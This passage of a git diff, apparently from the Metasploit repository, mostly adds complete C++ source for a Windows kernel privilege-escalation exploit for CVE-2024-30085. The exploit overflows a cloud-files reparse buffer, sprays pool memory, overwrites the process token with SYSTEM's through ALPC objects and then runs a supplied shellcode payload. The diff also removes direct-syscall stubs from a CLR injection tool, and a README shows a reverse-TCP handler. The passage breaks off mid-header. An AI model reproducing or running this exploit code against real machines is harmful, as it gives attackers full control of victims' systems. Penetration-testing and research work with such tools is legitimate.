(ULONG_PTR)hAppInstance, 0, MEM_RELEASE); ResumeThread(hThread); } while (FALSE); if (hThread) + { CloseHandle(hThread); + } } VOID ReflectiveFreeAndExitThread(HINSTANCE hAppInstance, DWORD dwExitCode) { diff --git a/external/source/HostingCLR_inject/HostingCLR/Syscalls.asm b/external/source/HostingCLR_inject/HostingCLR/Syscalls.asm deleted file mode 100644 index aa322a3923f56..0000000000000 --- a/external/source/HostingCLR_inject/HostingCLR/Syscalls.asm +++ /dev/null @@ -1,97 +0,0 @@ -.code - -; Reference: https://j00ru.vexillium.org/syscalls/nt/64/ - -; Windows 7 SP1 / Server 2008 R2 specific syscalls - -ZwProtectVirtualMemory7SP1 proc - mov r10, rcx - mov eax, 4Dh - syscall - ret -ZwProtectVirtualMemory7SP1 endp - -ZwWriteVirtualMemory7SP1 proc - mov r10, rcx - mov eax, 37h - syscall - ret -ZwWriteVirtualMemory7SP1 endp - -ZwReadVirtualMemory7SP1 proc - mov r10, rcx - mov eax, 3Ch - syscall - ret -ZwReadVirtualMemory7SP1 endp - -; Windows 8 / Server 2012 specific syscalls - -ZwProtectVirtualMemory80 proc - mov r10, rcx - mov eax, 4Eh - syscall - ret -ZwProtectVirtualMemory80 endp - -ZwWriteVirtualMemory80 proc - mov r10, rcx - mov eax, 38h - syscall - ret -ZwWriteVirtualMemory80 endp - -ZwReadVirtualMemory80 proc - mov r10, rcx - mov eax, 3Dh - syscall - ret -ZwReadVirtualMemory80 endp - -; Windows 8.1 / Server 2012 R2 specific syscalls - -ZwProtectVirtualMemory81 proc - mov r10, rcx - mov eax, 4Fh - syscall - ret -ZwProtectVirtualMemory81 endp - -ZwWriteVirtualMemory81 proc - mov r10, rcx - mov eax, 39h - syscall - ret -ZwWriteVirtualMemory81 endp - -ZwReadVirtualMemory81 proc - mov r10, rcx - mov eax, 3Eh - syscall - ret -ZwReadVirtualMemory81 endp - -; Windows 10 / Server 2016 specific syscalls - -ZwProtectVirtualMemory10 proc - mov r10, rcx - mov eax, 50h - syscall - ret -ZwProtectVirtualMemory10 endp - -ZwWriteVirtualMemory10 proc - mov r10, rcx - mov eax, 3Ah - syscall - ret -ZwWriteVirtualMemory10 endp - -ZwReadVirtualMemory10 proc - mov r10, rcx - mov eax, 3Fh - syscall - ret -ZwReadVirtualMemory10 endp - -end \ No newline at end of file diff --git a/external/source/HostingCLR_inject/make.bat b/external/source/HostingCLR_inject/make.bat index 60100438c9c99..0ff9678314f26 100644 --- a/external/source/HostingCLR_inject/make.bat +++ b/external/source/HostingCLR_inject/make.bat @@ -3,7 +3,7 @@ IF "%VCINSTALLDIR%" == "" GOTO NEED_VS IF "%1"=="X64" GOTO BUILD_X64 -ECHO "Building HostingCLR x64 (Release)" +ECHO "Building HostingCLR All Platforms (Release)" SET PLAT=all GOTO RUN diff --git a/external/source/HostingCLR_inject/make.msbuild b/external/source/HostingCLR_inject/make.msbuild index 34387fb54c940..b26b67bd21783 100644 --- a/external/source/HostingCLR_inject/make.msbuild +++ b/external/source/HostingCLR_inject/make.msbuild @@ -4,8 +4,12 @@ .\HostingCLR.sln - + + + + + diff --git a/external/source/exploits/CVE-2021-22555/README.md b/external/source/exploits/CVE-2021-22555/README.md index 5aea18e31f896..b6ae798662e66 100644 --- a/external/source/exploits/CVE-2021-22555/README.md +++ b/external/source/exploits/CVE-2021-22555/README.md @@ -18,7 +18,7 @@ make ubuntu To run: ``` -msf6 exploit(linux/local/netfilter_xtables_heap_oob_write_priv_esc) > run +msf exploit(linux/local/netfilter_xtables_heap_oob_write_priv_esc) > run [*] Started reverse TCP handler on 192.168.1.145:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/external/source/exploits/CVE-2024-30085/cve-202430085-dll/cve-202430085-dll.sln b/external/source/exploits/CVE-2024-30085/cve-202430085-dll/cve-202430085-dll.sln new file mode 100755 index 0000000000000..c5d8715a2db80 --- /dev/null +++ b/external/source/exploits/CVE-2024-30085/cve-202430085-dll/cve-202430085-dll.sln @@ -0,0 +1,31 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.32413.119 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "cve-202430085-dll", "cve-202430085-dll\cve-202430085-dll.vcxproj", "{93E2DA95-5C4F-4801-9156-E5AB3A944B10}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {93E2DA95-5C4F-4801-9156-E5AB3A944B10}.Debug|x64.ActiveCfg = Debug|x64 + {93E2DA95-5C4F-4801-9156-E5AB3A944B10}.Debug|x64.Build.0 = Debug|x64 + {93E2DA95-5C4F-4801-9156-E5AB3A944B10}.Debug|x86.ActiveCfg = Debug|Win32 + {93E2DA95-5C4F-4801-9156-E5AB3A944B10}.Debug|x86.Build.0 = Debug|Win32 + {93E2DA95-5C4F-4801-9156-E5AB3A944B10}.Release|x64.ActiveCfg = Release|x64 + {93E2DA95-5C4F-4801-9156-E5AB3A944B10}.Release|x64.Build.0 = Release|x64 + {93E2DA95-5C4F-4801-9156-E5AB3A944B10}.Release|x86.ActiveCfg = Release|Win32 + {93E2DA95-5C4F-4801-9156-E5AB3A944B10}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {042F6B8E-E6B4-4733-B6D1-A7430B811DE6} + EndGlobalSection +EndGlobal diff --git a/external/source/exploits/CVE-2024-30085/cve-202430085-dll/cve-202430085-dll/cve-2024-30085-dll.cpp b/external/source/exploits/CVE-2024-30085/cve-202430085-dll/cve-202430085-dll/cve-2024-30085-dll.cpp new file mode 100755 index 0000000000000..7edd8b79a8db1 --- /dev/null +++ b/external/source/exploits/CVE-2024-30085/cve-202430085-dll/cve-202430085-dll/cve-2024-30085-dll.cpp @@ -0,0 +1,601 @@ +// main.cpp +#include +#include +#include +#include +#include +#include "common.h" +#include "cve-2024-30085-dll.h" +#pragma comment(lib, "cldapi.lib") +#pragma comment(lib, "ntdll.lib") +typedef struct _ALPC_MESSAGE_ATTRIBUTES { + ULONG AllocatedAttributes; + ULONG ValidAttributes; +} +ALPC_MESSAGE_ATTRIBUTES, * PALPC_MESSAGE_ATTRIBUTES; +typedef struct _ALPC_MESSAGE { + PORT_MESSAGE PortHeader; + BYTE PortMessage[1000]; +} +ALPC_MESSAGE, * PALPC_MESSAGE; +/* +typedef struct _CLIENT_ID { + HANDLE UniqueProcess; + HANDLE UniqueThread; +} CLIENT_ID; +*/ +/* +typedef enum _SYSTEM_INFORMATION_CLASS { + SystemHandleInformation = 16, + SystemBigPoolInformation = 66 +} SYSTEM_INFORMATION_CLASS; +*/ +typedef struct _RTL_PROCESS_MODULE_INFORMATION { + HANDLE Section; + PVOID MappedBase; + PVOID ImageBase; + ULONG ImageSize; + ULONG Flags; + USHORT LoadOrderIndex; + USHORT InitOrderIndex; + USHORT LoadCount; + USHORT OffsetToFileName; + UCHAR FullPathName[256]; +} +RTL_PROCESS_MODULE_INFORMATION, * PRTL_PROCESS_MODULE_INFORMATION; +typedef struct _RTL_PROCESS_MODULES { + ULONG NumberOfModules; + RTL_PROCESS_MODULE_INFORMATION Modules[1]; +} +RTL_PROCESS_MODULES, * PRTL_PROCESS_MODULES; +typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO { + unsigned short UniqueProcessId; + unsigned short CreatorBackTraceIndex; + unsigned char ObjectTypeIndex; + unsigned char HandleAttributes; + unsigned short HandleValue; + void* Object; + unsigned long GrantedAccess; + long __PADDING__[1]; +} +SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO; +typedef struct _SYSTEM_HANDLE_INFORMATION { + unsigned long NumberOfHandles; + struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1]; +} +SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION; +typedef struct _SYSTEM_BIGPOOL_ENTRY { + union { + PVOID VirtualAddress; + ULONG_PTR NonPaged : 1; + }; + SIZE_T SizeInBytes; + union { + UCHAR Tag[4]; + ULONG TagUlong; + }; +} +SYSTEM_BIGPOOL_ENTRY, * PSYSTEM_BIGPOOL_ENTRY; +typedef struct _SYSTEM_BIGPOOL_INFORMATION { + ULONG Count; + SYSTEM_BIGPOOL_ENTRY AllocatedInfo[1]; +} +SYSTEM_BIGPOOL_INFORMATION, * PSYSTEM_BIGPOOL_INFORMATION; +typedef NTSTATUS(NTAPI* NTFSCONTROLFILE)( + IN HANDLE FileHandle, + IN HANDLE Event OPTIONAL, + IN PVOID ApcRoutine OPTIONAL, + IN PVOID ApcContext OPTIONAL, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG FsControlCode, + IN PVOID InputBuffer OPTIONAL, + IN ULONG InputBufferLength, + OUT PVOID OutputBuffer OPTIONAL, + IN ULONG OutputBufferLength + ); +extern "C" +NTSTATUS NTAPI NtAlpcCreatePort( + _Out_ PHANDLE PortHandle, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ PALPC_PORT_ATTRIBUTES PortAttributes +); +extern "C" +NTSTATUS NTAPI NtAlpcCreateResourceReserve( + _In_ HANDLE PortHandle, + _Reserved_ ULONG Flags, + _In_ SIZE_T MessageSize, + _Out_ PHANDLE ResourceId +); +extern "C" +NTSTATUS NTAPI NtAlpcSendWaitReceivePort( + _In_ HANDLE PortHandle, + _In_ ULONG Flags, + _Inout_opt_ PPORT_MESSAGE SendMessage, + _Inout_opt_ PALPC_MESSAGE_ATTRIBUTES SendMessageAttributes, + _Inout_opt_ PPORT_MESSAGE ReceiveMessage, + _Inout_opt_ PSIZE_T BufferLength, + _Inout_opt_ PALPC_MESSAGE_ATTRIBUTES ReceiveMessageAttributes, + _In_opt_ PLARGE_INTEGER Timeout +); +NTFSCONTROLFILE NtFsControlFile; +PREPARSE_DATA_BUFFER MakeDataBuffer(PVOID overData, ULONG overSize) { + DWORD dataLen = 0x3fe8; + PBYTE data = new BYTE[dataLen]; + memset(data, 0, dataLen); + *(PUSHORT)&data[0x0] = 0x0001; + *(PUSHORT)&data[0x2] = 0x4000; + PREPARSE_CLD_BUFFER cld = (PREPARSE_CLD_BUFFER)&data[4]; + PBYTE p = (PBYTE)&cld->Magic; + cld->Magic = REPARSE_BUFFER_MAGIC_VALUE; + cld->Reserved = 0x0000; + cld->NumItems = 0; + cld->Size = 0x3fe4; + CLD_ADD_ITEM(0x7, 1, 0x200); // must be {0, 1} + CLD_ADD_ITEM(0xa, 4, 0x204); // some kind of flag + CLD_ADD_ITEM(0x6, 8, 0x208); // ??? + CLD_ADD_ITEM(0, 0, 0); // dummy + CLD_ADD_ITEM(0x11, 0x3800, 0x210); // bitmap + *(PBYTE)&p[0x200] = 0x01; + *(PULONG32)&p[0x204] = 0x00000000; + *(PULONG64)&p[0x208] = 0x0000000000000000; + cld = (PREPARSE_CLD_BUFFER)&p[0x210]; + p = (PBYTE)&cld->Magic; + cld->Magic = REPARSE_BITMAP_MAGIC_VALUE; + cld->Reserved = 0x0000; + cld->NumItems = 0; + cld->Size = 0x3800; + CLD_ADD_ITEM(0x7, 1, 0x100); + CLD_ADD_ITEM(0x7, 1, 0x101); + CLD_ADD_ITEM(0x7, 1, 0x102); + CLD_ADD_ITEM(0x6, 8, 0x104); + CLD_ADD_ITEM(0x11, 0x1000 + overSize, 0x110); + *(PBYTE)&p[0x100] = 0x00; + *(PBYTE)&p[0x101] = 0x01; + *(PBYTE)&p[0x102] = 0x00; + memcpy(&p[0x1110], overData, overSize); + PBYTE reparseBuffer = new BYTE[sizeof(REPARSE_DATA_BUFFER) + dataLen]; + PREPARSE_DATA_BUFFER rd = (PREPARSE_DATA_BUFFER)reparseBuffer; + ZeroMemory(reparseBuffer, sizeof(REPARSE_DATA_BUFFER) + dataLen); + rd->ReparseTag = IO_REPARSE_TAG_CLOUD; + rd->ReparseDataLength = dataLen; + memcpy(rd->GenericReparseBuffer.DataBuffer, data, dataLen); + return rd; +} +BOOL GetObjAddr(PVOID* ppObjAddr, ULONG ulPid, HANDLE handle) { + PSYSTEM_HANDLE_INFORMATION pHandleInfo = NULL; + ULONG ulBytes = 0; + NTSTATUS ntRet; + *ppObjAddr = NULL; + while ((ntRet = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)16, pHandleInfo, ulBytes, &ulBytes)) == STATUS_INFO_LENGTH_MISMATCH) { + if (pHandleInfo != NULL) { + pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(pHandleInfo, 2 * ulBytes); + } + else { + pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)calloc(1, 2 * ulBytes); + } + } + if (!NT_SUCCESS(ntRet)) { + goto Exit; + } + for (ULONG i = 0; i < pHandleInfo->NumberOfHandles; i++) { + if ((pHandleInfo->Handles[i].UniqueProcessId == ulPid) && (pHandleInfo->Handles[i].HandleValue == (USHORT)handle)) { + *ppObjAddr = pHandleInfo->Handles[i].Object; + break; + } + } +Exit: + if (pHandleInfo) + free(pHandleInfo); + return (*ppObjAddr != NULL); +} +BOOL GetPoolAddr(PVOID* ppPoolAddr, UINT tag, SIZE_T poolSize) { + NTSTATUS ntRet; + BOOL bRet = FALSE; + ULONG retlen; + *ppPoolAddr = NULL; + DWORD* info = (DWORD*)malloc(0x1000); + PSYSTEM_BIGPOOL_INFORMATION pBigPoolInfo; + ntRet = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)66, info, 0x1000, &retlen); + if ((ntRet != STATUS_INFO_LENGTH_MISMATCH) && !NT_SUCCESS(ntRet)) { + goto Exit; + } + info = (DWORD*)realloc(info, retlen); + ntRet = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)66, info, retlen, &retlen); + if (!NT_SUCCESS(ntRet)) { + goto Exit; + } + pBigPoolInfo = (PSYSTEM_BIGPOOL_INFORMATION)info; + if (pBigPoolInfo->Count == 0) { + goto Exit; + } + for (ULONG i = pBigPoolInfo->Count - 1; i >= 0; i--) { + if ((pBigPoolInfo->AllocatedInfo[i].TagUlong == tag) && (pBigPoolInfo->AllocatedInfo[i].SizeInBytes == poolSize)) { + *ppPoolAddr = pBigPoolInfo->AllocatedInfo[i].VirtualAddress; + bRet = TRUE; + break; + } + } +Exit: + free(info); + return bRet; +} +HANDLE g_readPipe; +HANDLE g_writePipe; +BOOL PipeInit() { + return CreatePipe(&g_readPipe, &g_writePipe, NULL, 0); +} +BOOL PipeWriteAttr(VOID* attr, UINT attrSize) { + IO_STATUS_BLOCK iosb; + char output[0x100]; + NTSTATUS ntRet = NtFsControlFile(g_writePipe, NULL, NULL, NULL, & + iosb, 0x11003C, attr, attrSize, + output, sizeof(output)); + return NT_SUCCESS(ntRet); +} +BOOL PipeReadAttr(CHAR* pipeName, PVOID pOutput, SIZE_T outputSize) { + IO_STATUS_BLOCK iosb; + NTSTATUS ntRet = NtFsControlFile(g_writePipe, NULL, NULL, NULL, &iosb, 0x110038, pipeName, strlen(pipeName) + 1, pOutput, outputSize); + return NT_SUCCESS(ntRet); +} +BOOL PipePoolSprayAlloc(SIZE_T poolSize, UINT sprayCount, BYTE* pAttr, PCSTR szPrefix) { + BOOL bRet = TRUE; + SIZE_T attrSize = poolSize - 0x28; + for (UINT i = 0; i < sprayCount; i++) { + snprintf((CHAR*)pAttr, attrSize, "%s%x", szPrefix, i); + if (!PipeWriteAttr(pAttr, attrSize)) { + bRet = FALSE; + break; + } + } + return bRet; +} +HANDLE g_hResource = NULL; +BOOL AllocateALPCReserveHandles(HANDLE* phPorts, UINT portsCount, UINT reservesCount) { + HANDLE hPort; + HANDLE hResource; + NTSTATUS ntRet; + for (UINT i = 0; i < portsCount; i++) { + hPort = phPorts[i]; + for (UINT j = 0; j < reservesCount; j++) { + ntRet = NtAlpcCreateResourceReserve(hPort, 0, 0x28, &hResource); + if (!NT_SUCCESS(ntRet)) + return FALSE; + if (g_hResource == NULL) { // save only the very first + g_hResource = hResource; + } + } + } + return TRUE; +} +BOOL isKernAddr(ULONG_PTR kaddr) { + return ((kaddr & 0xffff800000000000) == 0xffff800000000000); +} +BOOL CreateALPCPorts() { + ALPC_PORT_ATTRIBUTES portAttr; + OBJECT_ATTRIBUTES oa; + NTSTATUS status; + UNICODE_STRING objName; + WCHAR portName[100]; + for (UINT i = 0; i < g_portCount; i++) { + swprintf_s(portName, 100, L"\\RPC Control\\TestPort_%d", i); + RtlInitUnicodeString(&objName, portName); + InitializeObjectAttributes(&oa, &objName, 0, 0, NULL); + ZeroMemory(&portAttr, sizeof(portAttr)); + portAttr.MaxMessageLength = MAX_MSG_LEN; + status = NtAlpcCreatePort(&g_ports[i], &oa, &portAttr); + if (NT_SUCCESS(status) == FALSE) { + return FALSE; + } + } + return TRUE; +} +void ExecutePayload(PMSF_PAYLOAD pMsfPayload) { + if (!pMsfPayload) + return; + PVOID pPayload = VirtualAlloc(NULL, pMsfPayload->dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); + if (!pPayload) + return; + CopyMemory(pPayload, &pMsfPayload->cPayloadData, pMsfPayload->dwSize); + CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pPayload, NULL, 0, NULL); + } +BOOL GetTokenOffset(PUINT offset) { + BOOL result = FALSE; + PBYTE peb; + USHORT buildNumber; + peb = *(PBYTE*)((PBYTE)NtCurrentTeb() + 0x60); + buildNumber = *(PUINT16)&peb[0x120]; + if (WINDOWS_BUILD_19H1 <= buildNumber && buildNumber <= WINDOWS_BUILD_19H2) { + *offset = 0x360; + result = TRUE; + } + else if (buildNumber >= WINDOWS_BUILD_19H2) { + *offset = 0x4b8; + result = TRUE; + } + return result; +} +BOOL Initialize() { + BOOL result; + g_ports = (PHANDLE)HeapAlloc(GetProcessHeap(), 0, g_portCount * sizeof(HANDLE)); + if (g_ports == NULL) { + return FALSE; + } + result = CreatePipe(&g_readPipe, &g_writePipe, NULL, 0); + if (result == FALSE) { + return FALSE; + } + result = CreateALPCPorts(); + if (result == FALSE) { + return FALSE; + } + CONST ULONG poolAlHaSize = 0x1000; + CONST ULONG reservesCount = (poolAlHaSize / 2) / sizeof(ULONG_PTR) + 1; + //printf(" allocating alpc reserve handles\n"); + result = AllocateALPCReserveHandles(g_ports, g_portCount, reservesCount - 1); + if (!result) { + return FALSE; + } + HMODULE ntdll; + ntdll = LoadLibraryW(L"ntdll.dll"); + if (ntdll == NULL) { + return FALSE; + } + NtFsControlFile = (NTFSCONTROLFILE)GetProcAddress(ntdll, "NtFsControlFile"); + if (NtFsControlFile == NULL) { + return FALSE; + } + PKALPC_BLOB blob; + blob = (PKALPC_BLOB)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(KALPC_BLOB) + sizeof(KALPC_RESERVE)); + if (blob == NULL) { + return FALSE; + } + blob->Ref = 1; + blob->Type = AlpcReserveType; + g_reserve = (PKALPC_RESERVE)&blob->Data; + blob = (PKALPC_BLOB)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(KALPC_BLOB) + sizeof(KALPC_MESSAGE)); + if (blob == NULL) { + return FALSE; + } + blob->Ref = 1; + blob->Type = AlpcMessageType; + g_message = (PKALPC_MESSAGE)&blob->Data; + g_reserve->Size = sizeof(KALPC_RESERVE) - sizeof(g_reserve->Size); + g_reserve->Message = g_message; + g_message->Reserve = g_reserve; + return TRUE; +} +extern "C" int Exploit(PMSF_PAYLOAD pMsfPayload) { + BOOL result; + NTSTATUS status; + UINT tokenOffset; + if (GetTokenOffset(&tokenOffset) == FALSE) { + //printf("[-] Error\n"); + return FALSE; + } + //printf("[*] Initializing...\n"); + if (Initialize() == FALSE) { + //printf("[-] Error\n"); + return FALSE; + } + CF_SYNC_REGISTRATION reg = {}; + reg.StructSize = sizeof(reg); + reg.ProviderName = L"TestProvider"; + reg.ProviderVersion = L"1234"; + reg.ProviderId = { + 0xB196E670, + 0x59C7, + 0x4D41, + { + 0 + } + }; + CF_SYNC_POLICIES pol = {}; + pol.StructSize = sizeof(pol); + pol.HardLink = CF_HARDLINK_POLICY_ALLOWED; + pol.InSync = CF_INSYNC_POLICY_NONE; + pol.Hydration.Primary = CF_HYDRATION_POLICY_PARTIAL; + pol.Population.Primary = CF_POPULATION_POLICY_PARTIAL; + CF_CONNECTION_KEY key = {}; + CF_CALLBACK_REGISTRATION table[1] = { + CF_CALLBACK_REGISTRATION_END + }; + WCHAR targetDir[MAX_PATH + 1] = {}; + WCHAR targetPath[MAX_PATH + 1] = {}; + WCHAR tmpPath[MAX_PATH + 1] = {}; + GetCurrentDirectory(MAX_PATH, targetDir); + swprintf_s(targetPath, L"%s\\SYNC_ROOT", targetDir); + CfUnregisterSyncRoot(targetPath); + RemoveDirectory(targetPath); + //printf(" registering provider\n"); + if (!CreateDirectory(targetPath, NULL)) { + //printf("[-] Error\n"); + return FALSE; + } + status = CfRegisterSyncRoot(targetPath, ®, &pol, CF_REGISTER_FLAG_NONE); + if (NT_SUCCESS(status) == FALSE) { + //printf("[-] Error\n"); + return FALSE; + } + status = CfConnectSyncRoot(targetPath, table, NULL, CF_CONNECT_FLAG_NONE, &key); + if (NT_SUCCESS(status) == FALSE) { + //printf("[-] Error\n"); + return FALSE; + } + //printf(" creating reparse point\n"); + swprintf_s(tmpPath, L"%s\\XXX", targetPath); + if (!CreateDirectory(tmpPath, NULL)) { + //printf("[-] Error\n"); + return FALSE; + } + swprintf_s(tmpPath, L"%s\\XXX", targetDir); + if (!MoveFile(targetPath, tmpPath)) { + //printf("[-] Error\n"); + return FALSE; + } + //printf(" setting reparse data\n"); + IO_STATUS_BLOCK iosb = {}; + OBJECT_ATTRIBUTES objAttr = {}; + UNICODE_STRING objName = {}; + WCHAR path[MAX_PATH]; + HANDLE file; + swprintf_s(path, MAX_PATH, L"\\??\\%s%s", targetDir, L"\\XXX\\XXX"); + RtlInitUnicodeString(&objName, path); + InitializeObjectAttributes(&objAttr, &objName, 0x40, 0, NULL); + status = NtCreateFile(&file, GENERIC_READ | GENERIC_WRITE, &objAttr, &iosb, NULL, 0, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OPEN_IF, FILE_DIRECTORY_FILE, NULL, 0); + if (NT_SUCCESS(status) == FALSE) { + //printf("[-] Error\n"); + return FALSE; + } + PREPARSE_DATA_BUFFER rd = MakeDataBuffer(&g_reserve, sizeof(g_reserve)); + if (rd == NULL) { + //printf("[-] Error\n"); + return FALSE; + } + status = NtFsControlFile(file, NULL, NULL, NULL, &iosb, FSCTL_SET_REPARSE_POINT, rd, rd->ReparseDataLength + REPARSE_GUID_DATA_BUFFER_HEADER_SIZE, NULL, 0); + CloseHandle(file); + swprintf_s(tmpPath, L"%s\\XXX", targetDir); + if (!MoveFile(tmpPath, targetPath)) { + //printf("[-] Error\n"); + return FALSE; + } + // Trigger + ULONG attrSize = 0x1000; + BYTE* pAttr = (BYTE*)calloc(attrSize + 10, sizeof(BYTE)); + memset(pAttr, 0, attrSize); + if (!PipePoolSprayAlloc(0x1000, 1, pAttr, "x")) { + //printf("[-] Error\n"); + return FALSE; + } + if (!PipePoolSprayAlloc(0x1000, SPRAY_COUNT, pAttr, "a")) { + //printf("[-] Error\n"); + return FALSE; + } + if (!PipePoolSprayAlloc(0x1000, SPRAY_COUNT, pAttr, "b")) { + //printf("[-] Error\n"); + return FALSE; + } + UINT holesCount = 0; + for (int i = 0; i < SPRAY_COUNT; i += 2) { + snprintf((CHAR*)pAttr, attrSize, "%s%x", "b", i); + if (!PipeWriteAttr(pAttr, strlen((CHAR*)pAttr) + 1)) { + //printf("[-] Error\n"); + return FALSE; + } + holesCount++; + } + if (!AllocateALPCReserveHandles(g_ports, g_portCount, 1)) { + //printf("[-] Error\n"); + return FALSE; + } + for (int i = 1; i < SPRAY_COUNT; i += 2) { + snprintf((CHAR*)pAttr, attrSize, "%s%x", "b", i); + if (!PipeWriteAttr(pAttr, strlen((CHAR*)pAttr) + 1)) { + //printf("[-] Error\n"); + return FALSE; + } + } + swprintf_s(tmpPath, L"%s\\XXX", targetPath); + file = CreateFile(tmpPath, GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL); + //printf("[*] Cleaning up...\n"); + status = CfDisconnectSyncRoot(key); + if (NT_SUCCESS(status) == FALSE) { + //printf("[-] Error\n"); + return FALSE; + } + status = CfUnregisterSyncRoot(targetPath); + if (NT_SUCCESS(status) == FALSE) { + //printf("[-] Error\n"); + return FALSE; + } + swprintf_s(tmpPath, L"%s\\XXX", targetPath); + if (!RemoveDirectory(tmpPath)) { + //printf("[-] Error\n"); + return FALSE; + } + if (!RemoveDirectory(targetPath)) { + //printf("[-] Error\n"); + return FALSE; + } + //printf("[*] Entering interactive session...\n"); + ULONG_PTR ullEPROCaddr = NULL; + ULONG_PTR ullSystemEPROCaddr = NULL; + DWORD dwPid = GetCurrentProcessId(); + HANDLE hProc = OpenProcess(PROCESS_QUERY_INFORMATION, 0, dwPid); + if (hProc == NULL) { + //printf("[-] Error\n"); + return FALSE; + } + CONST UINT PIPE_ATTR_TAG = 0x7441704E; + ULONG_PTR ullPipeAttributeAddr = NULL; + if (!GetPoolAddr((PVOID*)&ullPipeAttributeAddr, PIPE_ATTR_TAG, 0x1000)) { + //printf("[-] Error\n"); + return FALSE; + } + if (!GetObjAddr((PVOID*)&ullSystemEPROCaddr, 4, (HANDLE)4)) { + //printf("[-] Error\n"); + return FALSE; + } + if (!GetObjAddr((PVOID*)&ullEPROCaddr, GetCurrentProcessId(), hProc)) { + //printf("[-] Error\n"); + return FALSE; + } + CHAR pipeName[] = "xxx"; + BYTE* outputData = (BYTE*)calloc(1, 0x1000); + ULONG_PTR ullToken; + LIST_ENTRY tmpEntry; + g_message->ExtensionBuffer = (BYTE*)ullPipeAttributeAddr + 0x20; + g_message->ExtensionBufferSize = 0x10; + ULONG DataLength = 0x10; + ALPC_MESSAGE* alpcMessage = (ALPC_MESSAGE*)calloc(1, sizeof(ALPC_MESSAGE)); + alpcMessage->PortHeader.u1.s1.DataLength = DataLength; + alpcMessage->PortHeader.u1.s1.TotalLength = sizeof(PORT_MESSAGE) + DataLength; + alpcMessage->PortHeader.MessageId = (ULONG)g_hResource; + ULONG_PTR* pAlpcMsgData = (ULONG_PTR*)((BYTE*)alpcMessage + sizeof(PORT_MESSAGE)); + pAlpcMsgData[0] = ullSystemEPROCaddr; // AttributeValue + pAlpcMsgData[1] = 0x00787878; // name + for (int i = 0; i < g_portCount; i++) { + status = NtAlpcSendWaitReceivePort(g_ports[i], ALPC_MSGFLG_NONE, (PPORT_MESSAGE)alpcMessage, NULL, NULL, NULL, NULL, NULL); + if (!NT_SUCCESS(status)) { + //printf("[-] Error\n"); + return FALSE; + } + } + // read system token + if (!PipeReadAttr(pipeName, outputData, 0x1000)) { + //printf("[-] Error\n"); + return FALSE; + } + ullToken = *(ULONG_PTR*)(outputData + tokenOffset); + tmpEntry = g_message->Entry; + if (!isKernAddr(ullToken)) { + //printf("[-] Error\n"); + return FALSE; + } + PKALPC_BLOB blob; + blob = (PKALPC_BLOB)(g_reserve)-1; + memset(blob, 0, sizeof(KALPC_BLOB) + sizeof(KALPC_RESERVE)); + blob->Ref = 1; + blob->Type = AlpcReserveType; + g_reserve->Size = 0x28; + g_reserve->Message = g_message; + blob = (PKALPC_BLOB)(g_message)-1; + memset(blob, 0, sizeof(KALPC_BLOB) + sizeof(KALPC_MESSAGE)); + blob->Ref = 1; + blob->Type = AlpcMessageType; + g_message->Reserve = g_reserve; + g_message->ExtensionBuffer = (BYTE*)ullEPROCaddr + tokenOffset; + g_message->ExtensionBufferSize = 8; + DataLength = 8; + memset(alpcMessage, 0, sizeof(ALPC_MESSAGE)); + alpcMessage->PortHeader.u1.s1.DataLength = DataLength; + alpcMessage->PortHeader.u1.s1.TotalLength = sizeof(PORT_MESSAGE) + DataLength; + alpcMessage->PortHeader.MessageId = (ULONG)g_hResource; + pAlpcMsgData[0] = ullToken; + for (int i = 0; i < g_portCount; i++) { + NtAlpcSendWaitReceivePort(g_ports[i], ALPC_MSGFLG_NONE, (PPORT_MESSAGE)alpcMessage, NULL, NULL, NULL, NULL, NULL); + } + g_message->Entry = tmpEntry; + ExecutePayload(pMsfPayload); + while (1) {}; +} + diff --git a/external/source/exploits/CVE-2024-30085/cve-202430085-dll/cve-202430085-dll/cve-2024-30085-dll.h b/external/source/exploits/CVE-2024-30085/cve-202430085-dll/cve-202430085-dll/cve-2024-30085-dll.h new file mode 100755 index 0000000000000..3da0f8696f177 --- /dev/null +++ b/external/source/exploits/CVE-2024-30085/cve-202430085-dll/cve-202430085-dll/cve-2024-30085-dll.h @@ -0,0 +1,184 @@ +#pragma once +/* + Definitions (main.h) +*/ +#define MAX_MSG_LEN 0x500 +#define ALPC_MSGFLG_NONE 0x0 +#define STATUS_INFO_LENGTH_MISMATCH 0xC0000004 +#define WINDOWS_BUILD_19H1 18362 +#define WINDOWS_BUILD_19H2 18363 +#define SPRAY_COUNT 0x1000 +#define REPARSE_BUFFER_MAGIC_VALUE 'pReF' +#define REPARSE_BITMAP_MAGIC_VALUE 'pRtB' +#define CLD_ADD_ITEM(tag, size, offset) {cld->Items[cld -> NumItems].Tag = tag; cld->Items[cld -> NumItems].Size = 